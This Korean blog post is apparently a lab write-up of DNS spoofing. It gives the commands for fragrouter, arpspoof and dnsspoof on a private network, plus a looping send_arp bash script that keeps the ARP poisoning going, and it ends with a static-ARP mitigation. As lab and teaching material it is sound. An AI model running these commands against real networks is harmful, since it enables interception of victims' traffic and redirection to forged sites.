ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • DNS spoofing
    System/Network 2020. 7. 10. 11:01

    - 네트워크 구성도

     

    - 과정

    1. 웹 서버를 구축하고 위조된 웹 페이지를 만든다.

    2. 공격자 컴퓨터에서 /etc/dsniff/dnsspoof.hots 파일을 공격에 맞게 수정한다.

    3. fragrouter arpspoof를 이용해 ARP spoofing을 한다.

    4. dnsspoof를 이용해 DNS spoofing을 한다.

    5. 피해자 클라이언트에서 웹 접속을 시도한다.

     

     

    - 관련 내용

    DNS란 도메인명을 통해 서버의 IP를 알려주는 프로토콜입니다.

    UDP를 사용하며 53번 포트를 이용합니다.

    사용자 컴퓨터에서 도메인명에 해당하는 IP를 이용하는 순서는 다음과 같습니다.

    1. 사용자 컴퓨터의 hosts파일

    2. 사용자 컴퓨터의 DNS 캐시 테이블

    3. 사용자 컴퓨터에서 로컬 캐시 DNS 서버에 질의하여

    캐시 DNS 서버의 DNS 캐시 테이블에 해당 정보가 있다면 사용자 컴퓨터로 응답

    4. 해당 정보가 없다면 캐시 DNS 서버가 다른 DNS 서버에 질의

     

    DNS spoofing은 위 순서의 3, 4번에 해당하는 부분의 취약점을 이용하는 기술입니다. DNS spoofing이 이루어질 경우 사용자는 정상적인 URL을 입력하여도 원래 사이트가 아니라 원치 않는 사이트로 접속이 됩니다.

     

    사용자는 DNS쿼리를 보냈을 때 먼저 도착한 DNS respons패킷을 사용합니다.

     

    공격자는 대상과 같은 로컬에 있어야 하기 때문에 지리적으로 더 가까운 곳에 위치합니다. 따라서, DNS respons를 사용자의 로컬 DNS 서버보다 빠르게 응답을 보내줄 수 있습니다.

     

    같은 로컬에 있어야 하는 이유는 대상의 DNS 요청을 sniffing하여야 하기 때문입니다. 스위칭 환경일 경우 사용자가 DNS 쿼리를 보내는 것을 받아야 하기 때문에 ARP spoofing이 선행되어야 합니다.

     

     

    - 수행

    웹 서버는 이미 구축 되어있으며 웹 페이지는 간략하게 미리 제작하였습니다.

     

    1. 

    [root@kst01 ~]# vi /etc/dsniff/dnsspoof.hosts

    2. 

    [root@kst01 ~]# fragrouter -B1

    3. 

    [root@kst01 ~]# arpspoof -t 192.168.10.169 192.168.10.1

    4. 

    [root@kst01 ~]# dnsspoof -i eth0 -f /etc/dsniff/dnsspoof.hosts

    - 2, 3, 4번 과정은 각각 다른 터미널로 실행 시킨 상태로 두어야 합니다.

     

    또한, 피해자가 접속하는 사이트가 host파일에 기록 되어있지 않아야 하며 DNS 캐시 테이블에 정보가 없어야 합니다. DNS 캐시 테이블의 내용을 비우는 작업은 cmd창에서 ipconfig /flushdns 명령으로 지울 수 있습니다.

     

    3번 과정의 경우엔 arpspoof 대신 send_arp로 이용할 수 있습니다.

    1회성이기 때문에 스크립트를 만들어 지속적으로 보낼 수 있으며 내용은 다음과 같습니다.

    #!/bin/bash

    while [ : ]

    do

     send_arp 192.168.10.169 00:0C:29:D3:F5:25 192.168.10.104 00:0C:29:70:1B:20

    done

     

     

    - 결과

    대상이 DNS 쿼리를 질의하면 아래와 같이 응답을 먼저 보낸 것을 확인할 수 있습니다.

     

    피해자PC 화면을 확인해 보면 정상적인 도메인을 입력하였지만 다른 사이트로 가는 것을 확인할 수 있습니다.

     

     

    - 해결 방안

    arp -s 로 mac주소를 정적으로 등록하여 사용하면 ARP spoofing을 막을 수 있습니다.

    'System > Network' 카테고리의 다른 글

    ARP spoofing을 활용한 sniffing  (0) 2020.07.09
    ICMP redirect  (0) 2020.07.08
    ARP spoofing  (0) 2020.07.07
    스니핑2  (0) 2020.07.07
    스니핑1  (0) 2020.07.07

    댓글

Designed by Tistory.